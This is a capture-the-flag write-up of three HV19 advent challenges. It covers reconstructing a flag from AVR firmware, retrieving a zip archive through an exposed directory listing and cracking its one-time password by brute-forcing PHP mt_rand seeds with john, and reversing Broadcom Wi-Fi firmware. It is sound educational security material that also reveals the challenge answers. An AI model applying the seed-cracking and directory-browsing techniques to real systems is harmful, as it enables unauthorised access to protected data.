:1004700011242F933F934F935F936F937F938F93A9 :100480009F93AF93BF93EF93FF9388E591E00E9412 :10049000FB00FF91EF91BF91AF919F918F917F9161 :1004A0006F915F914F913F912F910F900FBE0F90E1 :1004B0001F9018951F920F920FB60F9211242F9331 :1004C0008F939F93EF93FF93E0916801F0916901FF :1004D0008081E0916E01F0916F0182FD1BC09081DF :1004E000809171018F5F8F7320917201821741F0AB :1004F000E0917101F0E0E85AFE4F958F8093710111 :10050000FF91EF919F918F912F910F900FBE0F90C0 :100510001F9018958081F4CFCF93DF9300D000D047 :10052000CDB7DEB789E290E0FC018081882F90E0B2 :10053000807899279C838B838B819C81892BB9F44C :100540001A82198289819A818C9788F489819A818B :10055000895E9E4FFC018081682F88E591E00E94B2 :100560005F0089819A8101969A838983EBCF0F90EE :100570000F900F900F90DF91CF910895CF93DF935D :10058000CDB7DEB7809102018093340180911401D0 :1005900080931B018091110180932A0180910201B7 :1005A000809325018091000180933C01809102019C :1005B000809322018091130180931E01809112018A :1005C000809338018091100180933D01DF91CF919C :1005D0000895CF93DF93CDB7DEB78091020180936A :1005E0002D01809102018093280180911101809357 :1005F000390180910F0180933E0180910901809320 :100600003B018091070180933A0180910D01809315 :10061000210180910701809331018091070180932E :100620002E0180910A018093230180910301809320 :100630001A01DF91CF910895CF93DF93CDB7DEB745 :100640008091020180933F018091060180931801FF :10065000809110018093400180910B0180932401CF :1006600080910E01809327018091080180932F01D2 :100670008091150180934101809111018093300197 :100680008091070180931F018091020180933701BF :1006900080910F018093360180910201809329019E :1006A000DF91CF910895CF93DF93CDB7DEB78091DF :1006B0000E0180932C018091070180932601809187 :1006C000040180931C0180910101809319018091A4 :1006D0000701809335018091040180931701809177 :1006E00005018093200180910C018093330180915A :1006F000070180932B018091020180931D0180915D :10070000110180933201DF91CF910895CF93DF9350 :10071000CDB7DEB70E9453030E941C030E94E9027A :100720000E94BE02DF91CF910895CF93DF93CDB7A2 :10073000DEB74CE251E060E070E088E591E00E94B5 :100740008A010E948603DF91CF910895E8E5F1E0E8 :100750001382128288EE93E0A0E0B0E08483958358 :10076000A683B78387E491E09183808385EC90E052 :100770009587848784EC90E09787868780EC90E06B :10078000918B808B81EC90E0938B828B82EC90E05C :10079000958B848B86EC90E0978B868B118E128ED6 :1007A000138E148E0895789484B5826084BD84B5C8 :1007B000816084BD85B5826085BD85B5816085BD5C :1007C00080916E00816080936E0010928100809114 :1007D000810082608093810080918100816080939C :1007E0008100809180008160809380008091B100C1 :1007F00084608093B1008091B00081608093B000EC :1008000080917A00846080937A0080917A0082607F :1008100080937A0080917A00816080937A00809141 :100820007A00806880937A001092C1000E9495033C :10083000C0E0D0E00E948C022097E1F30E94E70024 :100840008823C1F30E940000F5CFA1E21A2EAA1B53 :10085000BB1BFD010DC0AA1FBB1FEE1FFF1FA21770 :10086000B307E407F50720F0A21BB30BE40BF50B6D :10087000661F771F881F991F1A9469F760957095F6 :10088000809590959B01AC01BD01CF010895EE0FBD :0E089000FF1F0590F491E02D0994F894FFCF1E :10089E00303133394853565F61636467686C6D6EEF :1008AE00727478797B7D002020202020202020204B :1008BE00202020202020202020202020202020202A :1008CE00202020202020202020202020202020201A :1008DE00202000000000001D017D00AA006A01DB3F :0808EE0000B900CD000D0A0065 :00000001FF
We can use
AVR Studio 4
to disassemble the binary.
One very flashy region within the memory dump should catch our eye:
The memory holds an alphabet containing the following letters:
0139HSV_acdghlmnrtxy{}
. Obviously this is used for the flag since it contains all the necessary characters (HV19{}
).
With this in mind, let's get an overview of the disassembly output. We should especially look out for references to the alphabet.
Scrolling over the disassembly, the following part seems to be interesting:
These instructions load data from memory and store it at another address. What is especially notable here is that the addresses from which the data is loaded sometimes repeat like
0x102
, which is used three times in the above screenshot. The addresses at which the data is stored seem to be used uniquely. This sounds exactly like an alphabet being used to create a string within another memory region. Accordingly let's write down the mapping:
root@kali:~/hv19/22# cat mapping 102 134 114 11b 111 12a 102 125 100 13c 102 122 113 11e 112 138 110 13d 102 12d 102 128 111 139 10f 13e 107 13a 10d 121 107 131 107 12e 10a 123 103 11a 102 13f 106 118 110 140 10b 124 10e 127 108 12f 115 141 111 130 107 11f 102 137 10f 136 102 129 10e 12c 107 126 104 11c 101 119 107 135 104 117 105 120 10c 133 107 12b 102 11d
According to our assumption the first value is an index into the alphabet and the second value is the destination address for the corresponding character of the alphabet. The smallest index used is
0x100
and the smallest destination address is 0x117
. The following python script iterates over the mapping and inserts the referenced character from the alphabet at the corresponding position within the destination string:
#!/usr/bin/env python alpha = '0139HSV_acdghlmnrtxy{}' lines = open('mapping').read().split('\n')[:-1] flag = [' '] * 50 for line in lines: values = line.split('\t') idx = int(values[0], 16) - 0x100 dst = int(values[1], 16) - 0x117 flag[dst] = alpha[idx] print(''.join(flag))
Running the script prints the flag, although two characters are missing:
root@kali:~/hv19/22# ./flag.py HV19{H3y_Sl3dg3_m33t_m3_at_ h3_n3xt_ 0rn3r}
Two characters are missing because the following two load/store sequences contain a zero destination address / index:
The first sequence loads the letter
'c'
(0x109
), which obviously is supposed to be stored at 0x13b
. Also the missing character supposed to be stored at 0x132
is obviously the letter 't'
.
Thus the flag is HV19{H3y_Sl3dg3_m33t_m3_at_th3_n3xt_c0rn3r}.
return to overview ⇧
HV19.23 - Internet Data Archive
Author: M. | |
Today's flag is available in the Internet Data Archive (IDA).
http://whale.hacking-lab.com:23023/ |
The provided link leads to the
Internet Data Archive
. We can enter a username and select different challenges from the past. There is also a disabled flag checkbox:
After submitting the request a one-time password is displayed and we can download our archive:
The archive is a zip file, which contains the challenges we selected:
root@kali:~/hv19/23# wget http://whale.hacking-lab.com:23023/tmp/bobby-data.zip --2019-12-28 11:02:11-- http://whale.hacking-lab.com:23023/tmp/bobby-data.zip Resolving whale.hacking-lab.com (whale.hacking-lab.com)... 80.74.140.188 Connecting to whale.hacking-lab.com (whale.hacking-lab.com)|80.74.140.188|:23023... connected. HTTP request sent, awaiting response... 200 OK Length: 47074 (46K) [application/zip] Saving to: ābobby-data.zipā bobby-data.zip 100%[=================================================>] 45.97K --.-KB/s in 0.06s 2019-12-28 11:02:11 (803 KB/s) - ābobby-data.zipā saved [47074/47074] root@kali:~/hv19/23# file bobby-data.zip bobby-data.zip: Zip archive data, at least v2.0 to extract root@kali:~/hv19/23# zipinfo bobby-data.zip Archive: bobby-data.zip Zip file size: 47074 bytes, number of entries: 2 -rw-rw-rw- 6.3 unx 46565 Bx u099 19-Sep-21 13:35 ball15.png -rw-rw-rw- 6.3 unx 727 Bx u099 19-Sep-21 13:25 cake.txt 2 files, 47292 bytes uncompressed, 46796 bytes compressed: 1.0%The archive can be uncompressed/decrypted using the provided one-time password:
root@kali:~/hv19/23# 7z x bobby-data.zip 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Celeron(R) CPU N3450 @ 1.10GHz (506C9),ASM,AES-NI) Scanning the drive for archives: 1 file, 47074 bytes (46 KiB) Extracting archive: bobby-data.zip -- Path = bobby-data.zip Type = zip Physical Size = 47074 Enter password (will not be echoed): (Sw6q4QJmvBwv) Everything is Ok Files: 2 Size: 47292 Compressed: 47074
The link to our archive looks like this:
http://whale.hacking-lab.com:23023/tmp/bobby-data.zip
. When simply browsing to http://whale.hacking-lab.com:23023/tmp/
we can see that directory listing is enabled for this folder:
Browsing through the uploaded files we can spot a file with a much older
last modified
timestamp:
This archive actually contains the flag:
root@kali:~/hv19/23# wget http://whale.hacking-lab.com:23023/tmp/Santa-data.zip --2019-12-28 11:10:05-- http://whale.hacking-lab.com:23023/tmp/Santa-data.zip Resolving whale.hacking-lab.com (whale.hacking-lab.com)... 80.74.140.188 Connecting to whale.hacking-lab.com (whale.hacking-lab.com)|80.74.140.188|:23023... connected. HTTP request sent, awaiting response... 200 OK Length: 349592 (341K) [application/zip] Saving to: āSanta-data.zipā Santa-data.zip 100%[=================================================>] 341.40K --.-KB/s in 0.1s 2019-12-28 11:10:06 (2.34 MB/s) - āSanta-data.zipā saved [349592/349592] root@kali:~/hv19/23# zipinfo Santa-data.zip Archive: Santa-data.zip Zip file size: 349592 bytes, number of entries: 6 -rw-rw-rw- 6.3 unx 37 Bx u099 19-Sep-22 16:31 flag.txt -rw-rw-rw- 6.3 unx 120979 Bx u099 19-Aug-04 09:53 pearl.png -rw-rw-rw- 6.3 unx 46565 Bx u099 19-Sep-21 15:35 ball15.png -rw-rw-rw- 6.3 unx 727 Bx u099 19-Sep-21 15:25 cake.txt -rw-rw-rw- 6.3 unx 183606 Bx u099 18-Dec-27 18:14 blindball.png -rw-rw-rw- 6.3 unx 2560 Bx u099 19-Sep-22 00:49 GoodOldTimes.exe 6 files, 354474 bytes uncompressed, 348782 bytes compressed: 1.6%Unfortunately we don't know the corresponding one-time password.
The abbreviation for the website (the website's title is even called
IDA PRO
) doesn't seem to be a coincidence. A little bit of googling reveals this blog post, which describes how to generate an IDA Pro
(Interactive Disassembler
) installation password. As it happens the charset for the one-time password seems to be exactly the same as well as the password length.
The mentioned blog post provides a perl script, which generates installation passwords. In order to do this the script initializes the PRNG with a seed (
srand
) and then generates 12 random numbers modulo 54
which are used as an index into the alphabet being used (abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789
).
The following solution is probably not the most sophisticated one since the internal details of the implementation are not taken into account, but it simply worked š Thanks to
Tyrox
for giving me a good hint on this one.
The previously mentioned perl script uses perl to generate the one-time passwords and is thus using perl's PRNG. The challenge's website is using PHP. Thus the assumption that it is using the PHP PRNG to generate the one-time passwords is not that far-off. If we rebuilt the mentioned perl script in PHP with the appropriate PRNG we might be able to crack santa's zip archive.
At first let's create a hash from the zip archive which can be processed by
john
:
root@kali:~/hv19/23# zip2john Santa-data.zip Santa-data.zip/flag.txt:$zip2$*0*1*0*d75ebd89add5cf76*75ca*25*8249d36387bf723d66085cb4334858bc69989550a643c4a614645d505889e91bdbd269787a*fe232081a44c398eeab9*$/zip2$:flag.txt:Santa-data.zip:Santa-data.zip ver 1.0 Santa-data.zip/flag.txt PKZIP Encr: cmplen=57, decmplen=37, crc=B31E19FF ver 2.0 Santa-data.zip/pearl.png PKZIP Encr: cmplen=119024, decmplen=120979, crc=8994CA4C ver 2.0 Santa-data.zip/ball15.png PKZIP Encr: cmplen=46510, decmplen=46565, crc=5E20478F ver 2.0 Santa-data.zip/cake.txt PKZIP Encr: cmplen=310, decmplen=727, crc=25981C5A ver 2.0 Santa-data.zip/blindball.png PKZIP Encr: cmplen=182328, decmplen=183606, crc=F0442C30 ver 2.0 Santa-data.zip/GoodOldTimes.exe PKZIP Encr: cmplen=625, decmplen=2560, crc=EF6B229B Santa-data.zip:$pkzip2$3*1*1*0*63*24*5e20*7c67*69e5d5637af3005ba4c1061964f8037c23d4d912fd8dd6bc59e65eadfc791a5c163461bc*1*0*63*24*8994*4eaf*99dc5ea6d837c104740f6d9e883d8b4c44028b2c0eed3f575925352e966cbe3c96c49176*2*0*39*25*b31e19ff*0*31*63*39*b31e*83ea*d75ebd89add5cf7675ca8249d36387bf723d66085cb4334858bc69989550a643c4a614645d505889e91bdbd269787afe232081a44c398eeab9*$/pkzip2$::Santa-data.zip:flag.txt, ball15.png, pearl.png:Santa-data.zip NOTE: It is assumed that all files in each archive have the same password. If that is not the case, the hash may be uncrackable. To avoid this, use option -o to pick a file at a time. root@kali:~/hv19/23/t# zip2john Santa-data.zip > santa-hash.txt ...
Now we need to rebuilt the perl script in PHP:
<?php $alpha = 'abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789'; for ($i = 0; $i < 0x100000000000; $i++) { mt_srand($i); $pw = ''; for ($j = 0; $j < 12; $j++) { $pw .= $alpha[mt_rand(0,53)]; } echo $pw."\n"; } ?>
The PHP script defines the alphabet from the previously mentioned blog post and continuously initializes the PRNG by calling
mt_srand
with another number ($i
) followed by the generation of the one-time password.
All generate one-time passwords are printed to stdout:
root@kali:~/hv19/23# php crackOTP.php | head Dj3BC7CRRj9x JfvKCwGA9QxT QsPaYTQqYsWR UKRykpBmCb8Z zHJ3yKueWjUD P4hTYMk3gFR4 Y77c8j3p2afh jUXSqsPVeu8b ZUjdXe87Khim Fzvf6rCthmaF
In order to directly pipe the generated passwords to john, we can use the
--stdin
option:
root@kali:~/hv19/23# php crackOTP.php | john --stdin santa-hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 128/128 SSE2 4x]) Will run 2 OpenMP threads Press Ctrl-C to abort, or send SIGUSR1 to john process for status
After a few minutes we actually get a hit:
... Kwmq3Sqmc5sA (Santa-data.zip/flag.txt) 1g 0:00:10:12 0.001633g/s 7079p/s 7079c/s 7079C/s jDdDjuYS9mBG..ApwYqaWtC2Zh Use the "--show" option to display all of the cracked passwords reliably Session completed
The password
Kwmq3Sqmc5sA
can be used to uncompressed/decrypt the archive:
root@kali:~/hv19/23# 7z x Santa-data.zip 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Celeron(R) CPU N3450 @ 1.10GHz (506C9),ASM,AES-NI) Scanning the drive for archives: 1 file, 349592 bytes (342 KiB) Extracting archive: Santa-data.zip -- Path = Santa-data.zip Type = zip Physical Size = 349592 Enter password (will not be echoed): (Kwmq3Sqmc5sA) Everything is Ok Files: 6 Size: 354474 Compressed: 349592
We actually got the flag:
root@kali:~/hv19/23# cat flag.txt HV19{Cr4ckin_Passw0rdz_like_IDA_Pr0}
The flag is HV19{Cr4ckin_Passw0rdz_like_IDA_Pr0}.
return to overview ⇧
HV19.24 - ham radio
Author: DrSchottky | |
Elves built for santa a special radio to help him coordinating today's presents delivery.
HV19-ham radio.zip As little present and in order not to screw up your whole christmas, you have 3 whole days to solve this puzzle. Happy christmas! |
The provided zip archive contains a file called
brcmfmac43430-sdio.bin
:
root@kali:~/hv19/24# unzip 19bf7592-f3ee-474c-bf82-233f270bbf70.zip Archive: 19bf7592-f3ee-474c-bf82-233f270bbf70.zip inflating: brcmfmac43430-sdio.bin root@kali:~/hv19/24# file brcmfmac43430-sdio.bin brcmfmac43430-sdio.bin: dataBy googling for the filename and trawling through the challenge author's github repo, it seemed likely that the challenge is related to nexmon. Accordingly the file seems to be a firmware for a broadcom 43430 wireless chipset.
Since
file
didn't even identify any known file type (data
), I wondered which processor architecture this kind of chipset is using. After a bit of googling once again, I stumbled upon this well written blog post. Despite plenty of details on how to reverse engineer a broadcom wireless chipset, the blog post contains a table which states that the bcm43430
is using an ARM Cortex M3
. With this information let's fire up ghidra
and see if it can decompile the binary.
Indeed
ghidra
offers a big endian and a little endian ARM cortex architecture. By selecting the second one (little endian) ...
... the binary can actually be decompiled:
There are plenty of functions since we are facing a whole firmware. My assumption was that the flag related code will probably use XOR. The ARM instruction for XOR is called
EOR
. Thus I started to search for EOR
within the instruction mnemonics. Of course there are quite a few parts in the code, which use XOR, but the following part is obviously not part of the ordinary firmware:
We can see a reference to a base64 string, which can also be revealed by simply using
strings
on the binary:
root@kali:~/hv19/24# strings brcmfmac43430-sdio.bin ... 8hyh 8iyi AF3FHF 2F(F Um9zZXMgYXJlIHJlZCwgVmlvbGV0cyBhcmUgYmx1ZSwgRHJTY2hvdHRreSBsb3ZlcyBob29raW5nIGlvY3Rscywgd2h5IHNob3VsZG4ndCB5b3U/ pGnexmon_ver: 2.2.2-269-g4921d-dirty-16 wl%d: Broadcom BCM%s 802.11 Wireless Controller %s ...
Though the string only contains a message from the author:
root@kali:~/hv19/24# echo Um9zZXMgYXJlIHJlZCwgVmlvbGV0cyBhcmUgYmx1ZSwgRHJTY2hvdHRreSBsb3ZlcyBob29raW5nIGlvY3Rscywgd2h5IHNob3VsZG4ndCB5b3U/|base64 -d Roses are red, Violets are blue, DrSchottky loves hooking ioctls, why shouldn't you?
The part of the decompiled output, which looks really juciy, is the following:
Two variables are initialized (
pbVar2
and pbVar3
) followed by a loop, which XORs every byte of the data being referenced by both of those two variables. This looks obviously like the flag being "decrypted". The data, which is referenced, is stored at 0x00058e94
and 0x00058eac
respectively (the correct addresses can be read from the disassembly output):
Though when reassembling the part of the code in python ...
#!/usr/bin/env python v1 = '\x09\xBC\x31\x3A\x68\x1A\xAB\x72\x47\x86\x7E\xE6\x4A\x1D\x6F\x04\x2E\x74\x50\x0D\x78\x06\x3E\x00' v2 = '\x6A\x91\x44\x3B\xBE\x27\x15\x92\x07\xC9\xF3\x47\x77\xED\xE5\x26\x10\x76\x74\x80\x57\x1F\x00' out = '' for i in range(len(v2)): out += chr(ord(v1[i]) ^ ord(v2[i])) print(out) print(out.encode('hex'))
... we only get rubbish:
root@kali:~/hv19/24# ./decrypt.py c-uā=āā@Oāā=ā">$ā/> 632d7501d63dbee0404f8da13df08a223e02248d2f193e
Further inspecting the decompiled output we can notice a few calls to functions being located at addresses
>= 0x0080000
. Also at the end of the decompiled function, there is a call to 0x0000239
, which is called passing the address of one of the potential flag data (0x00058eac
) as well as 0x800000
and 0x17
:
This function uses the second parameter (
0x0080000
) as a reference and exchanges values with the first parameter (the potential flag data):
When searching through the nexmon github repo I stumbled upon this definitions.mk file. In addition to the file which was provided in the challenge (
brcmfmac43430-sdio.bin
), there is a reference to another file called rom.bin
, which seems to be loaded at the address 0x800000
:
... RAM_FILE=brcmfmac43430-sdio.bin RAMSTART=0x0 RAMSIZE=0x80000 ROM_FILE=rom.bin ROMSTART=0x800000 ROMSIZE=0xA0000 ...I really had a hard time to find this file, but it turned out that the file can simply be found in another repo of seemoo-lab: seemoo-lab / bcm_misc / bcm43430a1.
Since the data at
0x00058eac
seems to be exchanged by the function at 0x2390
, let's adjust our python script to use the data from the rom.bin
file instead:
#!/usr/bin/env python stack_vals = '\x09\xBC\x31\x3A\x68\x1A\xAB\x72\x47\x86\x7E\xE6\x4A\x1D\x6F\x04\x2E\x74\x50\x0D\x78\x06\x3E' key = open('rom.bin').read() out = '' for i in range(len(stack_vals)): out += chr(ord(stack_vals[i]) ^ ord(key[i])) print(out)
Running the script now actually outputs the flag:
root@kali:~/hv19/24# ./xorRom.py HV19{Y0uw3n7FullM4Cm4n}
The flag is HV19{Y0uw3n7FullM4Cm4n}.